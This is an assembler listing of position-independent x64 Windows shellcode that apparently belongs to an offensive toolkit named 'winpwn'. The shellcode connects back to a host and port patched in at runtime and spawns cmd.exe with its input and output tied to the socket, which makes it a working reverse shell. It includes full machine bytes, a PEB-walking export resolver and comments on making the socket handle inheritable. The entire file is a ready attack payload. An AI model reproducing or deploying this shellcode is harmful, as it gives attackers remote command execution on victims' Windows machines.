1 ; reverse_shell_x64.asm — position-independent x64 shellcode: connect back 2 ; to a fixed host:port over ws2_32 and spawn cmd.exe with its stdio 3 ; redirected to the socket. The classic Windows reverse-shell primitive. 4 ; 5 ; sockaddr_buf is a fixed 16-byte sockaddr_in placeholder at the end of the 6 ; assembled blob; winpwn patches sin_port/sin_addr at runtime (see 7 ; shellcraft.go). sin_family (AF_INET) and sin_zero are baked in as 8 ; constants since they never change. 9 ; 10 ; Real gotcha, worth recording here since it's easy to miss and the 11 ; failure mode (cmd.exe launches but stdin/stdout look disconnected, no 12 ; error anywhere) gives no hint why: socket() handles are NOT inheritable 13 ; by default on modern Windows (a hardening change from the days when 14 ; every handle was inheritable by default). bInheritHandles=TRUE on 15 ; CreateProcessA alone is not enough -- SetHandleInformation must mark the 16 ; specific socket handle as inheritable first, or the child simply doesn't 17 ; get a usable copy of it no matter what STARTUPINFOA says. 18 BITS 64 19 default rel 20 21 start: 22 00000000 55 push rbp 23 00000001 4154 push r12 24 00000003 4155 push r13 25 00000005 4889E5 mov rbp, rsp 26 00000008 4883E4F0 and rsp, ~0xF 27 28 0000000C E8EB010000 call get_kernel32_base 29 00000011 4989C4 mov r12, rax ; r12 = kernel32 base, kept for the whole routine 30 31 ; WSAStartup(0x0202, &wsadata_buf) 32 00000014 4C89E1 mov rcx, r12 33 00000017 488D15FA020000 lea rdx, [rel name_ws2_32] 34 0000001E 4C8D05FE020000 lea r8, [rel name_wsastartup] 35 00000025 E877020000 call resolve_export 36 0000002A B902020000 mov rcx, 0x0202 37 0000002F 488D153A030000 lea rdx, [rel wsadata_buf] 38 00000036 4883EC20 sub rsp, 0x20 39 0000003A FFD0 call rax 40 0000003C 4883C420 add rsp, 0x20 41 42 ; r13 = socket(AF_INET=2, SOCK_STREAM=1, IPPROTO_TCP=6) 43 00000040 4C89E1 mov rcx, r12 44 00000043 488D15CE020000 lea rdx, [rel name_ws2_32] 45 0000004A 4C8D05DD020000 lea r8, [rel name_socket] 46 00000051 E84B020000 call resolve_export 47 00000056 B902000000 mov rcx, 2 48 0000005B BA01000000 mov rdx, 1 49 00000060 41B806000000 mov r8, 6 50 00000066 4883EC20 sub rsp, 0x20 51 0000006A FFD0 call rax 52 0000006C 4883C420 add rsp, 0x20 53 00000070 4989C5 mov r13, rax 54 55 ; SetHandleInformation(sockfd, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT) 56 ; -- see the file header: without this, the child below can't actually 57 ; use sockfd no matter what STARTUPINFOA/bInheritHandles say. 58 00000073 4C89E1 mov rcx, r12 59 00000076 4831D2 xor rdx, rdx 60 00000079 4C8D05BD020000 lea r8, [rel name_sethandleinformation] 61 00000080 E81C020000 call resolve_export 62 00000085 4C89E9 mov rcx, r13 63 00000088 BA01000000 mov rdx, 1 64 0000008D 41B801000000 mov r8, 1 65 00000093 4883EC20 sub rsp, 0x20 66 00000097 FFD0 call rax 67 00000099 4883C420 add rsp, 0x20 68 69 ; connect(sockfd, &sockaddr_buf, 16) 70 0000009D 4C89E1 mov rcx, r12 71 000000A0 488D1571020000 lea rdx, [rel name_ws2_32] 72 000000A7 4C8D0587020000 lea r8, [rel name_connect] 73 000000AE E8EE010000 call resolve_export 74 000000B3 4C89E9 mov rcx, r13 75 000000B6 488D15B3040000 lea rdx, [rel sockaddr_buf] 76 000000BD 41B810000000 mov r8, 16 77 000000C3 4883EC20 sub rsp, 0x20 78 000000C7 FFD0 call rax 79 000000C9 4883C420 add rsp, 0x20 80 81 ; --- STARTUPINFOA (104 bytes) + PROCESS_INFORMATION (24 bytes), laid 82 ; out on the stack at [rsp+0x50] / [rsp+0xB8]; [rsp+0x00..0x4F] is 83 ; CreateProcessA's own shadow space + its 6 stack-passed arguments. 84 000000CD 4881ECE0000000 sub rsp, 0xE0 85 86 000000D4 48C744245000000000 mov qword [rsp+0x50], 0 87 000000DD 48C744245800000000 mov qword [rsp+0x58], 0 88 000000E6 48C744246000000000 mov qword [rsp+0x60], 0 89 000000EF 48C744246800000000 mov qword [rsp+0x68], 0 90 000000F8 48C744247000000000 mov qword [rsp+0x70], 0 91 00000101 48C744247800000000 mov qword [rsp+0x78], 0 92 0000010A 48C784248000000000- mov qword [rsp+0x80], 0 92 00000113 000000 93 00000116 48C784248800000000- mov qword [rsp+0x88], 0 93 0000011F 000000 94 00000122 48C784249000000000- mov qword [rsp+0x90], 0 94 0000012B 000000 95 0000012E 48C784249800000000- mov qword [rsp+0x98], 0 95 00000137 000000 96 0000013A 48C78424A000000000- mov qword [rsp+0xA0], 0 96 00000143 000000 97 00000146 48C78424A800000000- mov qword [rsp+0xA8], 0 97 0000014F 000000 98 00000152 48C78424B000000000- mov qword [rsp+0xB0], 0 98 0000015B 000000 99 100 0000015E C744245068000000 mov dword [rsp+0x50], 104 ; STARTUPINFOA.cb 101 00000166 C784248C0000000001- mov dword [rsp+0x8C], 0x100 ; .dwFlags = STARTF_USESTDHANDLES (offset 60) 101 0000016F 0000 102 00000171 4C89AC24A0000000 mov [rsp+0xA0], r13 ; .hStdInput (offset 80) 103 00000179 4C89AC24A8000000 mov [rsp+0xA8], r13 ; .hStdOutput (offset 88) 104 00000181 4C89AC24B0000000 mov [rsp+0xB0], r13 ; .hStdError (offset 96) 105 106 ; CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi) 107 00000189 4C89E1 mov rcx, r12 108 0000018C 4831D2 xor rdx, rdx 109 0000018F 4C8D05BC010000 lea r8, [rel name_createprocessa] 110 00000196 E806010000 call resolve_export 111 0000019B 4989C6 mov r14, rax 112 113 0000019E 4831C9 xor rcx, rcx ; lpApplicationName = NULL 114 000001A1 488D15B9010000 lea rdx, [rel cmdline_buf] ; lpCommandLine = "cmd.exe" 115 000001A8 4D31C0 xor r8, r8 ; lpProcessAttributes = NULL 116 000001AB 4D31C9 xor r9, r9 ; lpThreadAttributes = NULL 117 000001AE 48C744242001000000 mov qword [rsp+0x20], 1 ; bInheritHandles = TRUE 118 000001B7 48C744242800000000 mov qword [rsp+0x28], 0 ; dwCreationFlags = 0 119 000001C0 48C744243000000000 mov qword [rsp+0x30], 0 ; lpEnvironment = NULL 120 000001C9 48C744243800000000 mov qword [rsp+0x38], 0 ; lpCurrentDirectory = NULL 121 000001D2 488D442450 lea rax, [rsp+0x50] 122 000001D7 4889442440 mov qword [rsp+0x40], rax ; lpStartupInfo = &si 123 000001DC 488D8424B8000000 lea rax, [rsp+0xB8] 124 000001E4 4889442448 mov qword [rsp+0x48], rax ; lpProcessInformation = &pi 125 000001E9 41FFD6 call r14 126 127 000001EC 4881C4E0000000 add rsp, 0xE0 128 000001F3 4889EC mov rsp, rbp 129 000001F6 415D pop r13 130 000001F8 415C pop r12 131 000001FA 5D pop rbp 132 000001FB C3 ret 133 134 %include "resolver.inc" 1 <1> ; resolver.inc — shared x64 position-independent building blocks for winpwn 2 <1> ; shellcraft templates: find kernel32's base via the PEB (no hardcoded 3 <1> ; addresses) and resolve any export by name (no hashing, just a linear 4 <1> ; name-table scan — simple, auditable, and plenty fast for a handful of 5 <1> ; one-shot resolutions). 6 <1> ; 7 <1> ; Calling convention (our own, not WinAPI): standard x64 fastcall-ish, 8 <1> ; args in RCX/RDX, result in RAX. Both routines preserve every 9 <1> ; non-volatile register they touch, so callers can keep values live in 10 <1> ; r12-r15 across calls to either of these. 11 <1> 12 <1> ; get_kernel32_base() -> RAX = kernel32.dll base address 13 <1> ; 14 <1> ; Walks PEB->Ldr->InMemoryOrderModuleList. Entry 0 is always the running 15 <1> ; executable itself, entry 1 is ntdll.dll, entry 2 is kernel32.dll — this 16 <1> ; fixed load order is the same trick essentially every public Windows x64 17 <1> ; shellcode relies on. 18 <1> get_kernel32_base: 19 000001FC 65488B042560000000 <1> mov rax, [gs:0x60] ; TEB->ProcessEnvironmentBlock (gs:0x60 on x64) 20 00000205 488B4018 <1> mov rax, [rax+0x18] ; PEB->Ldr 21 00000209 488B4020 <1> mov rax, [rax+0x20] ; Ldr->InMemoryOrderModuleList.Flink -> entry0.InMemoryOrderLinks 22 0000020D 488B00 <1> mov rax, [rax] ; entry0.Flink -> entry1 (ntdll.dll) 23 00000210 488B00 <1> mov rax, [rax] ; entry1.Flink -> entry2 (kernel32.dll) 24 00000213 488B4020 <1> mov rax, [rax+0x20] ; entry2.DllBase (DllBase sits 0x20 past InMemoryOrderLinks) 25 00000217 C3 <1> ret 26 <1> 27 <1> ; find_export(RCX = module base, RDX = pointer to NUL-terminated ASCII name) 28 <1> ; -> RAX = absolute address of the export, or 0 if not found. 29 <1> ; 30 <1> ; Walks IMAGE_EXPORT_DIRECTORY.AddressOfNames linearly comparing each 31 <1> ; entry against the target string, then follows AddressOfNameOrdinals and 32 <1> ; AddressOfFunctions to the RVA. NT_HEADER+0x88 is the canonical 33 <1> ; DataDirectory[0] (export table) offset for PE32+. 34 <1> find_export: 35 00000218 4154 <1> push r12 36 0000021A 4155 <1> push r13 37 0000021C 4156 <1> push r14 38 0000021E 4157 <1> push r15 39 00000220 56 <1> push rsi 40 00000221 57 <1> push rdi 41 00000222 53 <1> push rbx 42 <1> 43 00000223 4989CC <1> mov r12, rcx ; r12 = module base (preserved for the whole routine) 44 00000226 4989D5 <1> mov r13, rdx ; r13 = target name pointer (preserved) 45 <1> 46 00000229 418B44243C <1> mov eax, [r12+0x3C] ; e_lfanew 47 0000022E 4C01E0 <1> add rax, r12 ; rax = NT header VA 48 00000231 8B8088000000 <1> mov eax, [rax+0x88] ; export dir RVA (OptionalHeader64.DataDirectory[0].VirtualAddress) 49 00000237 4C01E0 <1> add rax, r12 50 0000023A 4989C6 <1> mov r14, rax ; r14 = export directory VA 51 <1> 52 0000023D 418B5E18 <1> mov ebx, [r14+0x18] ; ebx = NumberOfNames 53 00000241 458B4E20 <1> mov r9d, [r14+0x20] ; AddressOfNames RVA 54 00000245 4D01E1 <1> add r9, r12 ; r9 = AddressOfNames VA (array of DWORD RVAs -> name strings) 55 00000248 458B5624 <1> mov r10d, [r14+0x24] ; AddressOfNameOrdinals RVA 56 0000024C 4D01E2 <1> add r10, r12 ; r10 = AddressOfNameOrdinals VA (array of WORD ordinals) 57 0000024F 458B5E1C <1> mov r11d, [r14+0x1C] ; AddressOfFunctions RVA 58 00000253 4D01E3 <1> add r11, r12 ; r11 = AddressOfFunctions VA (array of DWORD RVAs -> code) 59 <1> 60 00000256 4D31FF <1> xor r15, r15 ; r15 = loop index i 61 <1> 62 <1> .loop: 63 00000259 4939DF <1> cmp r15, rbx 64 0000025C 7D34 <1> jge .notfound 65 <1> 66 0000025E 438B04B9 <1> mov eax, [r9 + r15*4] ; nameRVA for entry i 67 00000262 4C01E0 <1> add rax, r12 68 00000265 4889C6 <1> mov rsi, rax ; rsi = candidate name VA 69 00000268 4C89EF <1> mov rdi, r13 ; rdi = target name VA (reset every attempt) 70 <1> 71 <1> .cmp_loop: 72 0000026B 8A06 <1> mov al, [rsi] 73 0000026D 8A0F <1> mov cl, [rdi] 74 0000026F 38C8 <1> cmp al, cl 75 00000271 750C <1> jne .next 76 00000273 84C0 <1> test al, al 77 00000275 740D <1> je .found ; both hit NUL with every byte equal -> match 78 00000277 48FFC6 <1> inc rsi 79 0000027A 48FFC7 <1> inc rdi 80 0000027D EBEC <1> jmp .cmp_loop 81 <1> 82 <1> .next: 83 0000027F 49FFC7 <1> inc r15 84 00000282 EBD5 <1> jmp .loop 85 <1> 86 <1> .found: 87 00000284 4B0FB7047A <1> movzx rax, word [r10 + r15*2] ; ordinal index for entry i 88 00000289 418B0483 <1> mov eax, [r11 + rax*4] ; function RVA 89 0000028D 4C01E0 <1> add rax, r12 ; absolute address 90 00000290 EB03 <1> jmp .done 91 <1> 92 <1> .notfound: 93 00000292 4831C0 <1> xor rax, rax 94 <1> 95 <1> .done: 96 00000295 5B <1> pop rbx 97 00000296 5F <1> pop rdi 98 00000297 5E <1> pop rsi 99 00000298 415F <1> pop r15 100 0000029A 415E <1> pop r14 101 0000029C 415D <1> pop r13 102 0000029E 415C <1> pop r12 103 000002A0 C3 <1> ret 104 <1> 105 <1> ; resolve_export(RCX = kernel32 base, RDX = DLL name ptr or 0, R8 = func name ptr) 106 <1> ; -> RAX = absolute address of the export, or 0 on any failure. 107 <1> ; 108 <1> ; find_export alone only works if the target module is *already* loaded 109 <1> ; into the process -- fine for kernel32 itself, not fine for e.g. user32.dll 110 <1> ; in a plain console process. When RDX is 0 this is exactly find_export 111 <1> ; (the function is assumed already loaded at the module base in RCX). 112 <1> ; When RDX is a DLL name pointer, LoadLibraryA is resolved out of kernel32 113 <1> ; (itself just another find_export call) and called to load-or-fetch the 114 <1> ; named module, then find_export resolves R8 inside *that* module's base. 115 <1> resolve_export: 116 000002A1 4154 <1> push r12 ; kernel32 base 117 000002A3 4155 <1> push r13 ; dll name ptr (or 0) 118 000002A5 4156 <1> push r14 ; func name ptr 119 000002A7 55 <1> push rbp ; stash pre-align rsp, same pattern as winexec_x64.asm's start 120 000002A8 4889E5 <1> mov rbp, rsp 121 000002AB 4883E4F0 <1> and rsp, ~0xF 122 <1> 123 000002AF 4989CC <1> mov r12, rcx 124 000002B2 4989D5 <1> mov r13, rdx 125 000002B5 4D89C6 <1> mov r14, r8 126 <1> 127 000002B8 4D85ED <1> test r13, r13 128 000002BB 750D <1> jnz .need_loadlibrary 129 <1> 130 000002BD 4C89E1 <1> mov rcx, r12 131 000002C0 4C89F2 <1> mov rdx, r14 132 000002C3 E850FFFFFF <1> call find_export 133 000002C8 EB36 <1> jmp .resolve_done 134 <1> 135 <1> .need_loadlibrary: 136 000002CA 4C89E1 <1> mov rcx, r12 137 000002CD 488D1537000000 <1> lea rdx, [rel name_loadlibrarya] 138 000002D4 E83FFFFFFF <1> call find_export 139 000002D9 4885C0 <1> test rax, rax 140 000002DC 741F <1> jz .resolve_fail 141 <1> 142 000002DE 4C89E9 <1> mov rcx, r13 ; LoadLibraryA(lpLibFileName) 143 000002E1 4883EC20 <1> sub rsp, 0x20 ; shadow space required before any WinAPI call 144 000002E5 FFD0 <1> call rax 145 000002E7 4883C420 <1> add rsp, 0x20 146 000002EB 4885C0 <1> test rax, rax 147 000002EE 740D <1> jz .resolve_fail 148 <1> 149 000002F0 4889C1 <1> mov rcx, rax ; the newly (or already) loaded module's base 150 000002F3 4C89F2 <1> mov rdx, r14 151 000002F6 E81DFFFFFF <1> call find_export 152 000002FB EB03 <1> jmp .resolve_done 153 <1> 154 <1> .resolve_fail: 155 000002FD 4831C0 <1> xor rax, rax 156 <1> 157 <1> .resolve_done: 158 00000300 4889EC <1> mov rsp, rbp 159 00000303 5D <1> pop rbp 160 00000304 415E <1> pop r14 161 00000306 415D <1> pop r13 162 00000308 415C <1> pop r12 163 0000030A C3 <1> ret 164 <1> 165 0000030B 4C6F61644C69627261- <1> name_loadlibrarya: db "LoadLibraryA", 0 165 00000314 72794100 <1> 135 136 00000318 7773325F33322E646C- name_ws2_32: db "ws2_32.dll", 0 136 00000321 6C00 137 00000323 575341537461727475- name_wsastartup: db "WSAStartup", 0 137 0000032C 7000 138 0000032E 736F636B657400 name_socket: db "socket", 0 139 00000335 636F6E6E65637400 name_connect: db "connect", 0 140 0000033D 53657448616E646C65- name_sethandleinformation: db "SetHandleInformation", 0 140 00000346 496E666F726D617469- 140 0000034F 6F6E00 141 00000352 43726561746550726F- name_createprocessa: db "CreateProcessA", 0 141 0000035B 636573734100 142 143 ; lpCommandLine must point at writable memory (CreateProcessA may modify 144 ; it in place) -- fine here since shellcode bytes live in a writable page 145 ; wherever they landed, same as every other template's embedded buffers. 146 00000361 636D642E6578650000- cmdline_buf: db "cmd.exe", 0, 0, 0, 0, 0, 0, 0, 0 146 0000036A 000000000000 147 148 align 8 149 wsadata_buf: 150 00000370 00 times 512 db 0 151 152 align 8 153 sockaddr_buf: 154 00000570 0200 dw 2 ; sin_family = AF_INET 155 00000572 0000 dw 0 ; sin_port, patched at runtime (network byte order) 156 00000574 00000000 dd 0 ; sin_addr, patched at runtime (network byte order) 157 00000578 0000000000000000 dq 0 ; sin_zero[8]